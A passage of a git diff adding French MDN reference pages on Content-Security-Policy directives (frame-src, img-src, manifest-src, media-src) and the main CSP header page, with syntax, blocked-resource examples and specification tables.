+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("X-Frame-Options")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/frame-src/index.html b/files/fr/web/http/headers/content-security-policy/frame-src/index.html
new file mode 100644
index 0000000000..b85f12cf5a
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/frame-src/index.html
@@ -0,0 +1,97 @@
+---
+title: 'CSP: frame-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/frame-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - Frame
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - frame-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-src</strong></code> spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td>Si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("child-src")}}, qui a pour valeur par défaut celle de la directive {{CSP("default-src")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: frame-src &lt;source&gt;;
+Content-Security-Policy: frame-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: frame-src https://example.com/</pre>
+
+<p>Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas :</p>
+
+<pre class="brush: html notranslate">&lt;iframe src="https://not-example.com/"&gt;&lt;/iframe&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-frame-src", "frame-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Réappréciation de <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-frame-src", "frame-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Dépréciation de <code>frame-src</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/img-src/index.html b/files/fr/web/http/headers/content-security-policy/img-src/index.html
new file mode 100644
index 0000000000..91ac0401b1
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/img-src/index.html
@@ -0,0 +1,97 @@
+---
+title: 'CSP: img-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/img-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Image
+  - Reference
+  - Security
+  - Sécurité
+  - img-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>img-src</strong></code> sépcifie les sources valides d'images et de favicons.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: img-src &lt;source&gt;;
+Content-Security-Policy: img-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: img-src https://example.com/</pre>
+
+<p>Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas :</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://not-example.com/foo.jpg" alt="example picture"&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.img-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/index.html b/files/fr/web/http/headers/content-security-policy/index.html
new file mode 100644
index 0000000000..4d4a843a19
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/index.html
@@ -0,0 +1,252 @@
+---
+title: Politique de sécurité de contenu
+slug: Web/HTTP/Headers/Content-Security-Policy
+tags:
+  - CSP
+  - HTTP
+  - Référence(2)
+  - Sécurité
+  - en-tête
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy</code></strong> permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de <em>cross-site scripting</em> ({{Glossary("XSS")}}).</p>
+
+<p>Pour plus d'informations, voir cet article sur <a href="/fr/docs/Web/HTTP/CSP"><em>Content Security Policy</em> (CSP)</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>En-tête de réponse</td>
+  </tr>
+  <tr>
+   <th scope="row">Nom d'en-tête interdit</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<h3 id="Directives_de_récupération_fetch">Directives de récupération (<em>fetch</em>)</h3>
+
+<p>Les directives de récupération (ou <em>fetch directives</em> en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés.</p>
+
+<dl>
+ <dt>{{CSP("child-src")}}</dt>
+ <dd>Définit les sources valides pour les <a href="/fr/docs/Web/API/Web_Workers_API">web workers</a> et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd>
+</dl>
+
+<div class="blockIndicator warning">Plutôt que la directive <strong><code>child-src</code></strong>, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}.</div>
+
+<dl>
+ <dt>{{CSP("connect-src")}}</dt>
+ <dd>Restreint les URL qui peuvent être chargées via des scripts.</dd>
+ <dt>{{CSP("default-src")}}</dt>
+ <dd>Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement.</dd>
+ <dt>{{CSP("font-src")}}</dt>
+ <dd>Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}.</dd>
+ <dt>{{CSP("frame-src")}}</dt>
+ <dd>Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd>
+ <dt>{{CSP("img-src")}}</dt>
+ <dd>Définit les sources valides pour les images et les favicons.</dd>
+ <dt>{{CSP("manifest-src")}}</dt>
+ <dd>Définit les sources valides pour les fichiers de manifeste d'application.</dd>
+ <dt>{{CSP("media-src")}}</dt>
+ <dd>Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</dd>
+ <dt>{{CSP("object-src")}}</dt>
+ <dd>Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>Les éléments contrôlés pa ar <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code>&lt;iframe&gt;</code>). De ce fait, il est <strong>recommandé</strong> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p>
+</div>
+
+<dl>
+ <dt>{{CSP("prefetch-src")}}</dt>
+ <dd>Définit .</dd>
+ <dt>{{CSP("script-src")}}</dt>
+ <dd>Définit les sources valides pour les fichiers JavaScript.</dd>
+ <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}.</dd>
+ <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs <code>on&lt;eventName&gt;</code>.</dd>
+ <dt>{{CSP("style-src")}}</dt>
+ <dd>Définit les sources valides pour les feuilles de styles.</dd>
+ <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut <code>rel="stylesheet"</code>.</dd>
+ <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</dd>
+ <dt>{{CSP("worker-src")}}</dt>
+ <dd>Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</dd>
+</dl>
+
+<h3 id="Directives_de_document">Directives de document</h3>
+
+<p>Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour <a href="/fr/docs/Web/API/Web_Workers_API">un <em>web worker</em></a> auquel une règle de sécurité s'applique.</p>
+
+<dl>
+ <dt>{{CSP("base-uri")}}</dt>
+ <dd>Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document.</dd>
+ <dt>{{CSP("plugin-types")}}</dt>
+ <dd>Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé.</dd>
+ <dt>{{CSP("sandbox")}}</dt>
+ <dd>Active un bac-à-sable (<em>sandbox</em>) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.</dd>
+</dl>
+
+<h3 id="Directives_de_navigation">Directives de navigation</h3>
+
+<p>Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire.</p>
+
+<dl>
+ <dt>{{CSP("form-action")}}</dt>
+ <dd>Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné.</dd>
+ <dt>{{CSP("frame-ancestors")}}</dt>
+ <dd>Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</dd>
+ <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt>
+ <dd>Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, <code>window.location</code>, <code>window.open</code>, etc.)</dd>
+</dl>
+
+<h3 id="Directives_de_rapport">Directives de rapport</h3>
+
+<p>Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}.</p>
+
+<dl>
+ <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt>
+ <dd>Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP <code>POST</code> à l'URI indiquée.</dd>
+</dl>
+
+<div class="warning">
+<p>Bien que la directive <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre>
+
+<p>Dans les navigateurs qui supportent <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, la directive <code><strong>report-uri</strong></code> sera ignorée.</p>
+</div>
+
+<dl>
+ <dt>{{CSP("report-to")}}{{experimental_inline}}</dt>
+ <dd>Déclenche un évènement <code>SecurityPolicyViolationEvent</code>.</dd>
+</dl>
+
+<h3 id="Autres_directives">Autres directives</h3>
+
+<dl>
+ <dt>{{CSP("block-all-mixed-content")}}</dt>
+ <dd>Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS.</dd>
+ <dt>{{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}}</dt>
+ <dd>{{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants.</dd>
+ <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt>
+ <dd>Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page.</dd>
+ <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt>
+ <dd>Utilisée pour spécifier une liste de permissions de règles de <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a>. Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères.</dd>
+ <dt>{{CSP("upgrade-insecure-requests")}}</dt>
+ <dd>Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites.</dd>
+</dl>
+
+<h2 id="Utilisation_du_CSP_dans_les_web_workers">Utilisation du <em>CSP</em> dans les <em>web workers</em></h2>
+
+<p>En général, les <em>web workers</em> ne sont pas gérés par les règles de sécurité du contenu du document (ou du <em>worker</em> parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le <em>worker</em>, on utilisera un en-tête de réponse <code>Content-Security-Policy</code> pour la requête qui a demandé le script du <em>worker</em>.</p>
+
+<p>Il y a une exception à cette règle lorsque l'origine du script d'un <em>worker</em> est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le <em>worker</em> hérite de la règle de sécurité du contenu depuis le document ou le <em>worker</em> qui l'a créé.</p>
+
+<h2 id="Gérer_plusieurs_politiques_de_sécurité">Gérer plusieurs politiques de sécurité</h2>
+
+<p>Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête <code>Content-Security-Policy</code>, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}.</p>
+
+<p>L'en-tête <code>Content-Security-Policy</code> peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient <code>connect-src 'none'</code>. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive <code>connect-src 'none'</code> sera respectée.</p>
+
+<pre class="notranslate">Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_1">Exemple 1</h3>
+
+<p>Dans cet exemple, on désactive les scripts écrits à même le document (<em>inline</em>), les opérations <code>eval()</code> et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS :</p>
+
+<pre class="notranslate">// en-tête HTTP
+Content-Security-Policy: default-src https:
+
+// version avec la balise HTML meta
+&lt;meta http-equiv="Content-Security-Policy" content="default-src https:"&gt;
+</pre>
+
+<h3 id="Exemple_2">Exemple 2</h3>
+
+<p>Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins :</p>
+
+<pre class="notranslate">Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre>
+
+<h3 id="Exemple_3">Exemple 3</h3>
+
+<p>On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle :</p>
+
+<pre class="notranslate">Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>Pour plus d'exemples, consulter <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">les recommandations de Mozilla pour la sécurité web</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Ajout de <code>manifest-src</code>, <code>navigation-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. <code>frame-src</code> n'est plus déprécié. <code>report-uri</code> est déprécié au profit de <code>report-to</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Mixed Content")}}</td>
+   <td>{{Spec2("Mixed Content")}}</td>
+   <td>Ajout de <code>block-all-mixed-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Subresource Integrity")}}</td>
+   <td>{{Spec2("Subresource Integrity")}}</td>
+   <td>Ajout de <code>require-sri-for</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Upgrade Insecure Requests")}}</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+   <td>Ajout de <code>upgrade-insecure-requests</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1")}}</td>
+   <td>{{Spec2("CSP 1.1")}}</td>
+   <td>Ajout de <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, <code>reflected-xss</code> et <code>report-uri</code>. Dépréciation de <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.0")}}</td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+   <td>Définition de <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src</code> et <code>style-src</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/fr/Add-ons/WebExtensions/Content_Security_Policy">La sécurité du contenu pour les WebExtensions</a></li>
+ <li>
+  <p><a href="/fr/docs/Outils/Barre_de_développement/Display_security_and_privacy_policies">Les sécurités pour l'affichage et la confidentialité dans les outils de développement de Firefox</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/manifest-src/index.html b/files/fr/web/http/headers/content-security-policy/manifest-src/index.html
new file mode 100644
index 0000000000..4f24083c47
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/manifest-src/index.html
@@ -0,0 +1,93 @@
+---
+title: 'CSP: manifest-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/manifest-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Manifest
+  - Reference
+  - Security
+  - Sécurité
+  - manifest-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/manifest-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>manifest-src</strong></code> spécifie quel <a href="/en-US/docs/Web/Manifest">manifeste</a> peut être appliqué à la ressource.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: manifest-src &lt;source&gt;;
+Content-Security-Policy: manifest-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Violation_cases">Violation cases</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: manifest-src https://example.com/</pre>
+
+<p>Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas :</p>
+
+<pre class="brush: html notranslate">&lt;link rel="manifest" href="https://not-example.com/manifest"&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="/en-US/docs/Web/Manifest">Web app manifest</a></li>
+ <li>{{HTMLElement("link")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/media-src/index.html b/files/fr/web/http/headers/content-security-policy/media-src/index.html
new file mode 100644
index 0000000000..5c8e876be4
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/media-src/index.html
@@ -0,0 +1,101 @@
+---
+title: 'CSP: media-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/media-src
+tags:
+  - CSP
+  - Conten-Security-Policy
+  - Directive
+  - HTTP
+  - Media
+  - Reference
+  - Security
+  - Sécurité
+  - media-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/media-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>media-src</strong></code> spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: media-src &lt;source&gt;;
+Content-Security-Policy: media-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: media-src https://example.com/</pre>
+
+<p>Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;audio src="https://not-example.com/audio"&gt;&lt;/audio&gt;
+
+&lt;video src="https://not-example.com/video"&gt;
+  &lt;track kind="subtitles" src="https://not-example.com/subtitles"&gt;
+&lt;/video&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
